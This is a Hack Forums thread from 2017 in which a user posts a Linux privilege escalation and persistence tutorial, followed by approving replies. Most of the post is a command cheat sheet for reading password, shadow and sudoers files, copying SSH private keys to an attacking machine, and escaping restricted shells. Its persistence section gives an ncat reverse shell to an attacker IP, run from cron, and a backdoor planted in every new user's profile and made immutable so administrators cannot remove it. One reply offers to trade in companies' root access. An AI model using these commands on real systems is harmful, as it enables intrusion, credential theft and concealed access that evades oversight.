

Forum:[Hack Forums](#)

Thread: [Linux Privilege Escalation and Persistence](#)

CyberStrike - October 16, 2017, 6:23 pm

Linux privilege escalation:

The Game Plan

Information Gathering
Information Analysis
Locating Weakness

Privilege Escalation Information Gathering:

Much of this will be a repeat of the Information Gathering in Linux, and much of it is confirmation of our findings. Generally you will want to target root and sudoers as they are privileged users and the application and services which they run, and exploiting those. So there is a lot of the information gathering and searching for exploits of services.

First we have to identify the particular distribution and kernel in use, which will be helpful if we need to tailor an exploit code to escalate privileges.

Code `uname -a`
From there we check the following:

Code `cat /etc/*-release`
Next we are going to check the kernel

Code `cat /proc/version`
`dmesg | grep Linux`
`ls /boot | grep vmlinuz-`
Checking the environmental variables
`cat /etc/profile`
`cat /etc/bashrc`
`cat ~/.bash_profile`
`cat ~/.bashrc`
`cat ~/.bash_logout`
`cat ~/.profile`
`env`

You may want now to check the rest of the users history for other services (tailor this to your target environment)

Code `cat ~/.nano_history`
`cat ~/.mysql_history`
`cat ~/.php_history`
Next we check the applications and services and what users are associated

Code `ps -aux`

```
ps -ef
top
cat /etc/services
grep port# /etc/systemd (multiple options to search here to search in)
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
Check the sudoers
```

```
Code cat /etc/sudoers
awk -F: '($3 == "0") {print}' /etc/passwd
Checking the users
```

```
Code cat /etc/passwd | cut -d: -f1
id
who
w
last
```

Next we want to see if root is running any of these services

```
Code ps -aux | grep root
ps -ef | grep root
Next check what applications are installed
```

```
Code ls -ahl /usr/sbin
ls -ahl /sbin/
For Debian and RHEL
Code dpkg -l
RHEL/CentOS
```

```
Code rpm -qa
Checking for misconfiguration and vulnerable plugins
```

```
Code cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/'
Checking the scheduled jobs
```

```
Code crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
```

```
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
```

Checking for any files where passwords have been saved, as people usually do not remember multiple complex passwords and usually tend to copy and paste into forms or password prompts.

```
Code grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"
You may use
```

```
Code grep -i keyword filename
Checking the network configs
```

```
Code ipconfig -a
cat /etc/nsswitch
cat /etc/resolvconf
hostname
dnsdomainname
Checking the firewall configurations
```

```
Code iptables -L
Checking the users logged in and last user logged on
```

```
Code w
last
Network Configurations
```

```
Code arp -a
route
Files with sensitive information (will need privileged account to see shadow)
```

```
Code cat /etc/passwd
cat /etc/shadow
cat /etc/sudoers
cat /etc/group
ls -ahlR /home/
ls -ahlR /root/
Checking for scripts associated with services for passwords
```

```
Code cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
Checking user directory for SSH keys which we can copy to our attacking machine
```

```
Code cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
```

cat ~/.ssh/id_dsa.pub

cat ~/.ssh/id_dsa

Writable services that can be re-configured

Code `find / -perm -222 -type d 2>/dev/null`

`find / -type f -perm 0777 2>/dev/null`

For current username

Code `ls -aRI /etc/ | awk '$1 ~ /^..w/' 2>/dev/null`

For Group

Code `ls -aRI /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null`

For anyone

Code `ls -aRI /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null`

You may modify this to any other directory such as /home

Check the logs there maybe something helpful and they are located at

Code `/var/log`

Filesystem

Code `df -h`

mount

`cat /etc/fstab`

StickyBits

Code `find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null`

Finding development environment for compiling code for exploitation

Code `find / -name perl*`

`find / -name python*`

`find / -name gcc*`

Next we want to check if we have some tools already on the target so we can get our exploit code onto the target

Code `find / -name wget`

`find / -name nc*`

`find / -name netcat*`

Breaking out of a restrictive shell

How to know if you are in a restrictive shell also "cd" may not work as well as id

Code `echo $PATH`

Here you will see the following result after issuing the command above

`/rbashbin`

Also you will denote that perhaps cat and id commands are not available. In this case one may use scp to cat files.

Code `scp -F /etc/passwd x y:`

We do have a few escapes which we can try

```
Code python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i
perl -e 'exec "/bin/sh";'
ruby: exec "/bin/sh"
In IRB
```

```
Code exec "/bin/sh"
```

```
In Vi
```

```
Code :!bash
```

```
exec "/bin/sh"
```

```
:set shell=/bin/bash:shell
```

Linux privilege escalation is a subject all it's own, quick suggestion is pay attention to programs running as root and programs installed and check for exploits for said programs, this is one technique. Privilege escalation is a time consuming project and once we have enumerated all of the required information we will be searching for exploits. A tool which can help you also is LARE [L]ocal [A]uto [R]oot [E]xploiter . Another tool is LinuxExploitSuggester. Linux privilege escalation really is all about knowing your stuff and some luck. Empyre is another tool which may help also during this phase.

Linux Persistence

Target reverse connection to attacker

Step 1

```
Code ncat Attacker.IP Port# -e /bin/bash(-k Option may not be available)
```

```
Code Ncat bind to bash
```

Step 1

```
[code]
```

```
ncat -l PORT# -e /bin/bash
```

```
Edit the crontab as follows
```

It is suggested that you create a bash script and calling that in crontab

```
Code crontab -e
```

You now will be prompted to use a text editor, choose the one you feel comfortable with.

```
Code 0 5 * * * /scripts/ncat.sh
```

Remember to save! In the example above every 5 hours our script for persistence will run.

You will want to make the script name fit in with the environment which you are in. Then you will want to make sure that the settings took.

```
Code contrab -lBackdooring New Linux/Unix Users Upon Creation:
```

Assuming that we have root we can go ahead and backdoor each new user created a dirty trick for sure, when it comes to persistence.[/code]

Steps :

```
Code upload reverse shell callback to /usr/bin/name
```

```
echo "/usr/bin/name&" >>/etc/profile
```

```
echo "/usr/bin/name&">>/etc/skel/.profile
chmod +sss /usr/bin/name
chattr +i /etc/skel/.profile /etc/profile /usr/bin/name
```

By using chattr the file cannot be deleted even for root, if administrator catches on, they will have to remove chattr.

Make sure you have read all of the tutorials

Windows

<https://hackforums.net/showthread.php?tid=5728866>
<https://hackforums.net/showthread.php?tid=5733292>
<https://hackforums.net/showthread.php?tid=5726592>
<https://hackforums.net/showthread.php?tid=5732104>

Linux

<https://hackforums.net/showthread.php?tid=5736611>
<https://hackforums.net/showthread.php?tid=5738524>

Puller - October 19, 2017, 1:37 pm

Great tutorial yet again, helpful to those who want a basic guideline on what commands to run for linux privilege escalation. If you wanted to get more in depth you can explain how to identify vulnerable applications and misconfigurations and how they can be exploited to gain higher access. But none the less good work, you should post these tutorials in the pentesting and forsenics section, it'll just drown in this section due to people's lack of understanding on how important priv escalation is to breaking into systems.

CyberStrike - October 19, 2017, 8:33 pm

Yeah I plan on coming back to each of the tutorials and doing a hands on tutorials so a reader can follow along. I did see because I didn't want to repeat a tutorial that is out there, in fact that there is a Linux privilege escalation tutorial where someone did do it hands on. BTW I think I am going to next put up the red team infrastructure since I already did a structure tutorial. I appreciate that these tutorials are well recieved. Not sure how the rules would play out if I posted the same threads in two different subforums, perhaps a moderator could move them if they see fit to do so.

redlightrouter - October 20, 2017, 3:48 pm

sudo -l to find programs that you could run with sudo without password

CyberStrike - October 20, 2017, 8:07 pm

Hmm got that on ubuntu machine still prompted for a passwd

```
Code sudo -l
[sudo] password for oto:
Sorry, try again.
[sudo] password for oto:
Groups
Code id
uid=1000(oto) gid=1000(oto)
groups=1000(oto),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),121(lpadmin),131(sambashare)
```

Dimeblade - January 6, 2018, 7:02 am

This is a very well packed commands very very useful for those rich in r00ts :)
And we dont find such threads like this here anywhere in HF.
Great Work. I really mean it.Great Great Work

Saves most time rather than google search for stackoverflow answers

I you really looking for companies r00t access please do not hesitate to PM me I have some interesting works for you

CyberStrike - January 6, 2018, 11:09 pm

(Jan 6, 2018 08:02 AM)Dimeblade Wrote: [\[CITE\]](#) This is a very well packed commands very very useful for those rich in r00ts :)

And we dont find such threads like this here anywhere in HF.

Great Work. I really mean it.Great Great Work

Saves most time rather than google search for stackoverflow answers

I you really looking for companies r00t access please do not hesitate to PM me I have some interesting works for you

Well I appreciate the positive comments, I got several other tutorials here as well. I think that we do have some very knowledgeable and helpful users here and they contribute in a positive manner to help introduce concepts as well as bring those new users to the next step. Although the average user also have to want to progress, and there in is where the problem lies. It takes time for people to realize why they need to step out of their comfort zone and learn new things, when for example all they are interested in is backdooring their friend or something equally as small minded.

Dimeblade - January 9, 2018, 9:58 am

(Jan 7, 2018 12:09 AM)sirru5h Wrote: [\[CITE\]](#) Well I appreciate the positive comments, I got several other tutorials here as well. I think that we do have some very knowledgeable and helpful users here and they contribute in a positive manner to help introduce concepts as well as bring those new users to the next step. Although the average user also have to want to progress, and there in is where the problem lies. It takes time for people to realize why they need to step out of their comfort zone and learn new things, when for example all they are interested in is backdooring their friend or something equally as small minded.

Exactly bro

Man if I could rep you I would have given ++ ++++++++ reps

?

CyberStrike - March 12, 2018, 2:33 am

(Jan 9, 2018 10:58 AM)Dimeblade Wrote: [\[CITE\]](#) Exactly bro

Man if I could rep you I would have given ++ ++++++++ reps

?

Awesome I think that giving back between exposing average users to new things as well as generally helping others that is reward enough.

Csharpcoder - March 13, 2018, 5:45 am

Excellent thread. Considering buying leet membership just to give you good rep!

Keep up the good work!!!

CyberStrike - March 13, 2018, 11:14 am

Well that's not needed it's reward enough to help people here, be it introducing new subjects or just general advice/help. Glad you liked it.